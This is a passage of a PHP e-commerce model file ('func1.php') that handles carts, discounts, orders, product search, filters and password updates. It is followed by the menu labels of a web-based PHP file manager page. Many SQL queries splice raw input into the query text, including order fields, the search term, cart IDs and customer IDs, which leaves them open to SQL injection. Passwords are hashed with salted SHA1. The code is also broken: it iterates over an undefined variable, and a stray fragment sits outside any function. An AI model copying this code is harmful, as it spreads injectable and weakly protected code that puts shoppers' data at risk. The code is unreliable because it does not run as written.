					$option_query = $option_query[0];	
									
					if ($option_query) {
						if ($option_query['type'] == 'select' || $option_query['type'] == 'radio' || $option_query['type'] == 'image') {
							$option_value_query = "SELECT pov.option_value_id, ovd.name, pov.quantity, pov.subtract, pov.price, pov.price_prefix, pov.points, pov.points_prefix, pov.weight, pov.weight_prefix FROM " . DB_PREFIX . "product_option_value pov LEFT JOIN " . DB_PREFIX . "option_value ov ON (pov.option_value_id = ov.option_value_id) LEFT JOIN " . DB_PREFIX . "option_value_description ovd ON (ov.option_value_id = ovd.option_value_id) WHERE pov.product_option_value_id = '" . (int)$value . "' AND pov.product_option_id = '" . (int)$product_option_id . "' AND ovd.language_id = '" . (int)$this->config_language_id . "'";
							
							$option_value_query = $db->ExecuteQuery($option_value_query,'select');
							$option_value_query = $option_value_query[0];
							if ($option_value_query) {
								if ($option_value_query['price_prefix'] == '+') {
									$option_price += $option_value_query['price'];
								} elseif ($option_value_query['price_prefix'] == '-') {
									$option_price -= $option_value_query['price'];
								}

if ($option_value_query['points_prefix'] == '+') {
									$option_points += $option_value_query['points'];
								} elseif ($option_value_query['points_prefix'] == '-') {
									$option_points -= $option_value_query['points'];
								}

if ($option_value_query['weight_prefix'] == '+') {
									$option_weight += $option_value_query['weight'];
								} elseif ($option_value_query['weight_prefix'] == '-') {
									$option_weight -= $option_value_query['weight'];
								}

if ($option_value_query['subtract'] && (!$option_value_query['quantity'] || ($option_value_query['quantity'] < $cart['quantity']))) {
									$stock = false;
								}

$option_data[] = array(
									'product_option_id'       => $product_option_id,
									'product_option_value_id' => $value,
									'option_id'               => $option_query['option_id'],
									'option_value_id'         => $option_value_query['option_value_id'],
									'name'                    => $option_query['name'],
									'value'                   => $option_value_query['name'],
									'type'                    => $option_query['type'],
									'quantity'                => $option_value_query['quantity'],
									'subtract'                => $option_value_query['subtract'],
									'price'                   => $option_value_query['price'],
									'price_prefix'            => $option_value_query['price_prefix'],
									'points'                  => $option_value_query['points'],
									'points_prefix'           => $option_value_query['points_prefix'],
									'weight'                  => $option_value_query['weight'],
									'weight_prefix'           => $option_value_query['weight_prefix']
								);
							}
						} elseif ($option_query['type'] == 'checkbox' && is_array($value)) {
							foreach ($value as $product_option_value_id) {
								$option_value_query = "SELECT pov.option_value_id, ovd.name, pov.quantity, pov.subtract, pov.price, pov.price_prefix, pov.points, pov.points_prefix, pov.weight, pov.weight_prefix FROM " . DB_PREFIX . "product_option_value pov LEFT JOIN " . DB_PREFIX . "option_value ov ON (pov.option_value_id = ov.option_value_id) LEFT JOIN " . DB_PREFIX . "option_value_description ovd ON (ov.option_value_id = ovd.option_value_id) WHERE pov.product_option_value_id = '" . (int)$product_option_value_id . "' AND pov.product_option_id = '" . (int)$product_option_id . "' AND ovd.language_id = '" . (int)$this->config_language_id . "'";
								
								$option_value_query = $db->ExecuteQuery($option_value_query,'select');
								$option_value_query = $option_value_query[0];
								if ($option_value_query) {
									if ($option_value_query['price_prefix'] == '+') {
										$option_price += $option_value_query['price'];
									} elseif ($option_value_query['price_prefix'] == '-') {
										$option_price -= $option_value_query['price'];
									}

if ($option_value_query['points_prefix'] == '+') {
										$option_points += $option_value_query['points'];
									} elseif ($option_value_query['points_prefix'] == '-') {
										$option_points -= $option_value_query['points'];
									}

if ($option_value_query['weight_prefix'] == '+') {
										$option_weight += $option_value_query['weight'];
									} elseif ($option_value_query['weight_prefix'] == '-') {
										$option_weight -= $option_value_query['weight'];
									}

if ($option_value_query['subtract'] && (!$option_value_query['quantity'] || ($option_value_query['quantity'] < $cart['quantity']))) {
										$stock = false;
									}

$option_data[] = array(
										'product_option_id'       => $product_option_id,
										'product_option_value_id' => $product_option_value_id,
										'option_id'               => $option_query['option_id'],
										'option_value_id'         => $option_value_query['option_value_id'],
										'name'                    => $option_query['name'],
										'value'                   => $option_value_query['name'],
										'type'                    => $option_query['type'],
										'quantity'                => $option_value_query['quantity'],
										'subtract'                => $option_value_query['subtract'],
										'price'                   => $option_value_query['price'],
										'price_prefix'            => $option_value_query['price_prefix'],
										'points'                  => $option_value_query['points'],
										'points_prefix'           => $option_value_query['points_prefix'],
										'weight'                  => $option_value_query['weight'],
										'weight_prefix'           => $option_value_query['weight_prefix']
									);
								}
							}
						} elseif ($option_query['type'] == 'text' || $option_query['type'] == 'textarea' || $option_query['type'] == 'file' || $option_query['type'] == 'date' || $option_query['type'] == 'datetime' || $option_query['type'] == 'time') {
							$option_data[] = array(
								'product_option_id'       => $product_option_id,
								'product_option_value_id' => '',
								'option_id'               => $option_query['option_id'],
								'option_value_id'         => '',
								'name'                    => $option_query['name'],
								'value'                   => $value,
								'type'                    => $option_query['type'],
								'quantity'                => '',
								'subtract'                => '',
								'price'                   => '',
								'price_prefix'            => '',
								'points'                  => '',
								'points_prefix'           => '',
								'weight'                  => '',
								'weight_prefix'           => ''
							);
						}
					}
				}

$price = $product_query['price'];
				$mrp_price = $product_query['price'];
				//$selling_price = $product_query['selling_price'];

// Product Discounts
				$discount_quantity = 0;

$cart_2_query = "SELECT * FROM " . DB_PREFIX . "cart WHERE customer_id = '" . (int)$customer_id . "'";
				
				$cart_2_query = $db->ExecuteQuery($cart_2_query,'select');
				
				foreach ($cart_2_query as $cart_2) {
					if ($cart_2['product_id'] == $cart['product_id']) {
						$discount_quantity += $cart_2['quantity'];
					}
				}

$product_discount_query = "SELECT price FROM " . DB_PREFIX . "product_discount WHERE product_id = '" . (int)$cart['product_id'] . "' AND customer_group_id = '" . (int)$this->config_customer_group_id . "' AND quantity <= '" . (int)$discount_quantity . "' AND ((date_start = '0000-00-00' OR date_start < NOW()) AND (date_end = '0000-00-00' OR date_end > NOW())) ORDER BY quantity DESC, priority ASC, price ASC LIMIT 1";
				
				$product_discount_query = $db->ExecuteQuery($product_discount_query,'select');
				$product_discount_query = $product_discount_query[0];
				
				if ($product_discount_query) {
					$price = $product_discount_query['price'];
				}

// Product Specials
				$product_special_query = "SELECT price FROM " . DB_PREFIX . "product_special WHERE product_id = '" . (int)$cart['product_id'] . "' AND customer_group_id = '" . (int)$this->config_customer_group_id . "' AND ((date_start = '0000-00-00' OR date_start < NOW()) AND (date_end = '0000-00-00' OR date_end > NOW())) ORDER BY priority ASC, price ASC LIMIT 1";
				
				$product_special_query = $db->ExecuteQuery($product_special_query,'select');
				$product_special_query = $product_special_query[0];
				
				if ($product_special_query) {
					$price = $product_special_query['price'];
				}

// Reward Points
				$product_reward_query = "SELECT points FROM " . DB_PREFIX . "product_reward WHERE product_id = '" . (int)$cart['product_id'] . "' AND customer_group_id = '" . (int)$this->config_customer_group_id . "'";
				
				$product_reward_query = $db->ExecuteQuery($product_reward_query,'select');
				$product_reward_query = $product_reward_query[0];
				
				if ($product_reward_query) {
					$reward = $product_reward_query['points'];
				} else {
					$reward = 0;
				}

// Downloads
				$download_data = array();

$download_query = "SELECT * FROM " . DB_PREFIX . "product_to_download p2d LEFT JOIN " . DB_PREFIX . "download d ON (p2d.download_id = d.download_id) LEFT JOIN " . DB_PREFIX . "download_description dd ON (d.download_id = dd.download_id) WHERE p2d.product_id = '" . (int)$cart['product_id'] . "' AND dd.language_id = '" . (int)$this->config_language_id . "'";
				
				$download_query = $db->ExecuteQuery($download_query,'select');
				
				
				foreach ($download_querys as $download) {
					$download_data[] = array(
						'download_id' => $download['download_id'],
						'name'        => $download['name'],
						'filename'    => $download['filename'],
						'mask'        => $download['mask']
					);
				}

// Stock
				if (!$product_query['quantity'] || ($product_query['quantity'] < $cart['quantity'])) {
					$stock = false;
				}

$recurring_query = "SELECT * FROM " . DB_PREFIX . "recurring r LEFT JOIN " . DB_PREFIX . "product_recurring pr ON (r.recurring_id = pr.recurring_id) LEFT JOIN " . DB_PREFIX . "recurring_description rd ON (r.recurring_id = rd.recurring_id) WHERE r.recurring_id = '" . (int)$cart['recurring_id'] . "' AND pr.product_id = '" . (int)$cart['product_id'] . "' AND rd.language_id = " . (int)$this->config_language_id . " AND r.status = 1 AND pr.customer_group_id = '" . (int)$this->config_customer_group_id . "'";
				
				$recurring_query = $db->ExecuteQuery($recurring_query,'select');
				$recurring_query = $recurring_query[0];
				
				if ($recurring_query) {
					$recurring = array(
						'recurring_id'    => $cart['recurring_id'],
						'name'            => $recurring_query['name'],
						'frequency'       => $recurring_query['frequency'],
						'price'           => $recurring_query['price'],
						'cycle'           => $recurring_query['cycle'],
						'duration'        => $recurring_query['duration'],
						'trial'           => $recurring_query['trial_status'],
						'trial_frequency' => $recurring_query['trial_frequency'],
						'trial_price'     => $recurring_query['trial_price'],
						'trial_cycle'     => $recurring_query['trial_cycle'],
						'trial_duration'  => $recurring_query['trial_duration']
					);
				} else {
					$recurring = false;
				}
			
				
				$product_data[] = array(
					'cart_id'         => $cart['cart_id'],
					'product_id'      => $product_query['product_id'],
					'name'            => $product_query['name'],
					'model'           => $product_query['model'],
					'image'           => 'image/cache/'.$this->site_url.''.preg_replace('/(\.gif|\.jpg|\.jpeg|\.png)/', '-300x300$1', $product_query['image']),
					'option'          => $option_data,					
					'quantity'        => $cart['quantity'],
					'minimum'         => $product_query['minimum'],
					'subtract'        => $product_query['subtract'],
					'stock'           => $stock,
					'mrp_price'       => (string)($mrp_price + $option_price) * $cart['quantity'],
					'price'           => ($price + $option_price),
					'total'           => ($price + $option_price) * $cart['quantity'],
					
					'recurring'       => $recurring
				);
			} else {
				$this->remove_cart($cart['cart_id']);
			}
		}
		
		return $product_data;
	}
	
	function remove_cart($cart_id){
		$query = "DELETE  FROM  " . DB_PREFIX . "cart WHERE cart_id = '".$cart_id."'";
		
		$db = new SQL();							
		$result = $db->ExecuteQuery($query,'delete');	
		return $result;
	}

public function addOrder($data) {
		
		//~ echo '<pre>';
		//~ print_r($data);
		//~ echo '</pre>';
		//~ exit;
		
		$query =  "INSERT INTO `" . DB_PREFIX . "order` SET 
							invoice_prefix = '" . $data['invoice_prefix'] . "', store_id = '" . (int)$this->config_store_id . "', 
							store_name = '" . $this->store_name . "', store_url = '" . $this->site_url . "', 
							customer_id = '" . (int)$data['customer_id'] . "', customer_group_id = '1', 
							firstname = '" . $data['firstname'] . "', lastname = '" . $data['lastname'] . "', 
							email = '" . $data['email'] . "', telephone = '" . $data['telephone'] . "', 
							fax = '', custom_field = '', 
							payment_firstname = '" . $data['payment_firstname'] . "', payment_lastname = '" . $data['payment_lastname'] . "', 
							payment_company = '', payment_address_1 = '" . $data['payment_address_1'] . "', 
							payment_address_2 = '" . $data['payment_address_2'] . "', payment_city = '" . $data['payment_city'] . "', 
							payment_postcode = '" . $data['payment_postcode'] . "', payment_country = '" . $data['payment_country'] . "', 
							payment_country_id = '" . (int)$data['payment_country_id'] . "', payment_zone = '" . $data['payment_zone'] . "', 
							payment_zone_id = '" . (int)$data['payment_zone_id'] . "', payment_address_format = '" . $data['payment_address_format'] . "', 
							payment_custom_field = '', 
							payment_method = '" . $data['payment_method'] . "', payment_code = '" . $data['payment_code'] . "', 
							shipping_firstname = '" . $data['shipping_firstname'] . "', shipping_lastname = '" . $data['shipping_lastname'] . "', 
							shipping_company = '" . $data['shipping_company'] . "', shipping_address_1 = '" . $data['shipping_address_1'] . "', 
							shipping_address_2 = '" . $data['shipping_address_2'] . "', shipping_city = '" . $data['shipping_city'] . "', 
							shipping_postcode = '" . $data['shipping_postcode'] . "', shipping_country = '" . $data['shipping_country'] . "', 
							shipping_country_id = '" . (int)$data['shipping_country_id'] . "', shipping_zone = '" . $data['shipping_zone'] . "', 
							shipping_zone_id = '" . (int)$data['shipping_zone_id'] . "', shipping_address_format = '" . $data['shipping_address_format'] . "',
							shipping_custom_field = '', 
							shipping_method = '" . $data['shipping_method'] . "', shipping_code = '" . $data['shipping_code'] . "', 
							comment = '" . $data['comment'] . "', total = '" . (float)$data['total'] . "', 
							order_status_id = '" . (int)$data['order_status_id'] . "', 
							affiliate_id = '" . (int)$data['affiliate_id'] . "', commission = '" . (float)$data['commission'] . "', 
							marketing_id = '" . (int)$data['marketing_id'] . "', tracking = '" . $data['tracking'] . "', 
							language_id = '" . (int)$this->config_language_id . "', currency_id = '" . (int)$this->currency_id . "', 
							currency_code = '" . $this->currency_code . "', currency_value = '1.00000000', 
							ip = '" . $data['ip'] . "', forwarded_ip = '', 
							user_agent = '" . $data['user_agent'] . "', accept_language = 'en-US,en;q=0.5', 
							date_added = NOW(), date_modified = NOW()";
							
		$db = new SQL();							
		$order_id = $db->ExecuteQuery($query,'insert');	
		
		if (isset($data['products'])) {
			foreach ($data['products'] as $product) {
				$query =  "INSERT INTO " . DB_PREFIX . "order_product 
								SET order_id = '" . (int)$order_id . "', 
								product_id = '" . (int)$product['product_id'] . "', 
								name = '" . $product['name'] . "', 
								model = '" . $product['model'] . "', 
								quantity = '" . (int)$product['quantity'] . "', 
								price = '" . (float)$product['price'] . "', 
								total = '" . (float)$product['total'] . "', 
								tax = '', 
								reward = ''";
				$db = new SQL();							
				$order_product_id = $db->ExecuteQuery($query,'insert');	
	
				foreach ($product['option'] as $option) {
					 $query =  "INSERT INTO " . DB_PREFIX . "order_option 
									SET order_id = '" . (int)$order_id . "', 
									order_product_id = '" . (int)$order_product_id . "', 
									product_option_id = '" . (int)$option['product_option_id'] . "', 
									product_option_value_id = '" . (int)$option['product_option_value_id'] . "', 
									name = '" . $option['name'] . "', 
									value = '" .$option['value'] . "', 
									type = '" . $option['type'] . "'";
					
					$db = new SQL();							
					$order_option = $db->ExecuteQuery($query,'insert');						
				}
			}
		}	
	// exit;
		if (isset($data['total'])) {
				$query =  "INSERT INTO " . DB_PREFIX . "order_total 
								SET order_id = '" . (int)$order_id . "', 
								code = 'sub_total', 
								title = 'Sub-Total', 
								value = '" . (float)$data['total'] . "', 
								sort_order = '1'";
				$db = new SQL();							
				$order_total = $db->ExecuteQuery($query,'insert');
				
				$query =  "INSERT INTO " . DB_PREFIX . "order_total 
								SET order_id = '" . (int)$order_id . "', 
								code = 'shipping', 
								title = 'Free Shipping', 
								value = '0.0000', 
								sort_order = '3'";
				$db = new SQL();							
				$order_total2 = $db->ExecuteQuery($query,'insert');
				
				$query =  "INSERT INTO " . DB_PREFIX . "order_total 
								SET order_id = '" . (int)$order_id . "', 
								code = 'total', 
								title = 'Total', 
								value = '" . (float)$data['total'] . "', 
								sort_order = '9'";
				$db = new SQL();							
				$order_total3 = $db->ExecuteQuery($query,'insert');				
		}
		$result['order_id'] = $order_id;

if(!empty($order_id)){
			return array($result);
		}
		else
			return 0;
	}

public function updateOrderHistoryComment($order_id) {
		$query =  "INSERT INTO " . DB_PREFIX . "order_history (
						`order_id`, `order_status_id`, `comment`, `date_added`
						) VALUES (
						'" . (int)$order_id . "', '7', 'From APP - Payment Cancelled and the Transaction has been Aborted', NOW())";	
		$db = new SQL();							
		$order_history_id = $db->ExecuteQuery($query,'insert');			
		if(!empty($order_history_id)){
			return $order_history_id;
		} else {
			return 0;
		}
	}

public function getProductsBySearch($search_tag) {									
		$query =  "SELECT p.product_id, p.quantity, CONCAT('image/cache/', p.image) as image, p.price, pd.name, pd.description FROM " . DB_PREFIX . "product p 
						LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) 
						LEFT JOIN " . DB_PREFIX . "product_to_store p2s ON (p.product_id = p2s.product_id) 
							WHERE pd.language_id = '1' 
								AND p.status = '1' 
								AND p.date_available <= NOW() 
								AND p2s.store_id = '0' 
								AND ( pd.name LIKE '%".$search_tag."%' 
									OR pd.tag LIKE '%".$search_tag."%' 
									OR LCASE(p.model) = '".$search_tag."' 
									OR LCASE(p.sku) = '".$search_tag."' 
									OR LCASE(p.upc) = '".$search_tag."' 
									OR LCASE(p.ean) = '".$search_tag."' 
									OR LCASE(p.jan) = '".$search_tag."' 
									OR LCASE(p.isbn) = '".$search_tag."' 
									OR LCASE(p.mpn) = '".$search_tag."')";

$db = new SQL();							
		$products = $db->ExecuteQuery($query,'select');

for($i=0; $i<count($products); $i++){
			//$products[$i]['image'] = $this->site_url.'/'.preg_replace('/(\.gif|\.jpg|\.png)/', '-250x250$1', $products[$i]['image']);

$res_product_special = $this->getProductSpecial($products[$i]['product_id']);
			$products[$i]['image'] = $this->site_url.'/'.preg_replace('/(\.gif|\.jpg|\.png)/', '-250x250$1', $products[$i]['image']);		
			if(isset($res_product_special) && !empty($res_product_special)){
				$products[$i]['special_price'] = $res_product_special[0]['price'];
			}

}
		if(!empty($products)){
			return $products;
		}
		else
			return 0;
	} 
	
	public function getTotal($data){
		$res_product = $this->getCart($data);
		
		$total = 0;
		
		foreach ($res_product as $product) {
			$total += $product['total'];
		}
		
		return $total;
	}
	public function getQty($data){
		$res_product = $this->getCart($data);
		$qty = 0;
		foreach ($res_product as $product) {
			
			$qty++;
		}
		
		return $qty;
	}
	
	public function getOrders($customer_id) {
		
		$query = "SELECT o.order_id, o.firstname, o.lastname, os.name as status, o.date_added, o.total, o.currency_code, o.currency_value FROM `" . DB_PREFIX . "order` o LEFT JOIN " . DB_PREFIX . "order_status os ON (o.order_status_id = os.order_status_id) WHERE o.customer_id = '" . (int)$customer_id . "' AND o.order_status_id > '0' AND o.store_id = '" . (int)$this->config_store_id . "' AND os.language_id = '" . (int)$this->config_language_id . "' ORDER BY o.order_id DESC";
		
		$db = new SQL();
		$orders = $db->ExecuteQuery($query,'select');
			
		if(!empty($orders)){
			return $orders;
		}
		else
			return 0;
	}
	
	public function getOrderDetails($order_id){
		$query = "SELECT o.*,os.name AS order_status FROM `" . DB_PREFIX . "order` AS o LEFT JOIN " . DB_PREFIX . "order_status os ON (o.order_status_id = os.order_status_id) WHERE o.order_id = '" . (int)$order_id . "'  AND o.order_status_id > '0'";
		
		$db = new SQL();
		$orders = $db->ExecuteQuery($query,'select');
			
		if(!empty($orders)){
			return $orders;
		}
		else
			return 0;
	}
	
	public function getOrderProducts($order_id){
		$query = "SELECT * FROM " . DB_PREFIX . "order_product WHERE order_id = '" . (int)$order_id . "'";
		
		$db = new SQL();
		$order_products = $db->ExecuteQuery($query,'select');
		
		$products = array();
		foreach ($order_products as $product) {
			$query_op = "SELECT * FROM " . DB_PREFIX . "order_option WHERE order_id = '" . (int)$order_id . "' AND order_product_id = '" . (int)$product['order_product_id'] . "'";
			
			$db = new SQL();
			$op_options = $db->ExecuteQuery($query_op,'select');
			$option_data = array();
			foreach ($op_options as $option) {
				$option_data[] = array(
					'name'  => $option['name'],
					'value' => $option['value']
				);
			}
		
		
		$query_p =  "SELECT CONCAT('image/cache/', p.image) as image FROM " . DB_PREFIX . "product p WHERE p.product_id = '" . (int)$product['product_id'] . "'";	
			
		$db = new SQL();							
		$product_image = $db->ExecuteQuery($query_p,'select');	
		
		
		
		$image = $this->site_url.''.preg_replace('/(\.gif|\.jpg|\.jpeg|\.png)/', '-300x300$1', $product_image[0]['image']);
		
		$products[] = array(
				'name'     => $product['name'],
				'model'    => $product['model'],
				'image'    => $image,
				'option'   => $option_data,
				'quantity' => $product['quantity'],
				'price'    => $product['price'] + $product['tax'],
				'total'    => $product['total'] + $product['tax'] * $product['quantity']
			);
		}
			//~ echo '<pre>';
		//~ print_r($products);
		//~ echo '</pre>';	
		
		
		return $products;
	}
	
	public function getOrderTotals($order_id){
		$query = "SELECT * FROM " . DB_PREFIX . "order_total WHERE order_id = '" . (int)$order_id . "' ORDER BY sort_order";
		
		$db = new SQL();
		$order_total = $db->ExecuteQuery($query,'select');
		
		if(!empty($order_total)){
			return $order_total;
		}
		else
			return 0;	
	}		
	
	function getFilterByCategoryId($category_id){
		$implode = array();

$query = "SELECT filter_id FROM " . DB_PREFIX . "category_filter WHERE category_id = '" . (int)$category_id . "'";
		
		$db = new SQL();
		$category_filter = $db->ExecuteQuery($query,'select');
		
		foreach ($category_filter as $result) {
			$implode[] = (int)$result['filter_id'];
		}

$filter_group_data = array();

if ($implode) {
			$filter_group_query = "SELECT DISTINCT f.filter_group_id, fgd.name, fg.sort_order FROM " . DB_PREFIX . "filter f LEFT JOIN " . DB_PREFIX . "filter_group fg ON (f.filter_group_id = fg.filter_group_id) LEFT JOIN " . DB_PREFIX . "filter_group_description fgd ON (fg.filter_group_id = fgd.filter_group_id) WHERE f.filter_id IN (" . implode(',', $implode) . ") AND fgd.language_id = '" . (int)$this->config_language_id . "' GROUP BY f.filter_group_id ORDER BY fg.sort_order, LCASE(fgd.name)";
			
			$db = new SQL();
			$filter_group_query = $db->ExecuteQuery($filter_group_query,'select');
		
			foreach ($filter_group_query as $filter_group) {
				$filter_data = array();

$filter_query = "SELECT DISTINCT f.filter_id, fd.name FROM " . DB_PREFIX . "filter f LEFT JOIN " . DB_PREFIX . "filter_description fd ON (f.filter_id = fd.filter_id) WHERE f.filter_id IN (" . implode(',', $implode) . ") AND f.filter_group_id = '" . (int)$filter_group['filter_group_id'] . "' AND fd.language_id = '" . (int)$this->config_language_id . "' ORDER BY f.sort_order, LCASE(fd.name)";
				
				$db = new SQL();
				$filter_query = $db->ExecuteQuery($filter_query,'select');
			
				foreach ($filter_query as $filter) {
					$filter_data[] = array(
						'filter_id' => $filter['filter_id'],
						'filter_group_id' => $filter_group['filter_group_id'],
						'name'      => $filter['name']
					);
				}

if ($filter_data) {
					$filter_group_data[] = array(
						'filter_group_id' => $filter_group['filter_group_id'],
						'name'            => $filter_group['name'],
						'filter'          => $filter_data
					);
				}
			}
		}

return $filter_group_data;

}

if(!empty($customer)){
			return true;
		}
		else{
			return false;
		}

}

function updatePassword($new_password, $customer_id)
	{
		if ($customer_id) {
			$salt = substr(md5(uniqid(rand(), true)), 0, 9);
			$sql = "UPDATE " . DB_PREFIX . "customer SET salt = '" . $salt . "', password = '" . (sha1($salt . sha1($salt . sha1($new_password)))) . "' WHERE customer_id = '" . $customer_id . "'";
			$db = new SQL();
			$update_pass = $db->ExecuteQuery($sql,'update');
			if ($update_pass) {
				return true;
			}
			else
			{
				return false;
			}

}
	}
    
    
}

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: func1.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation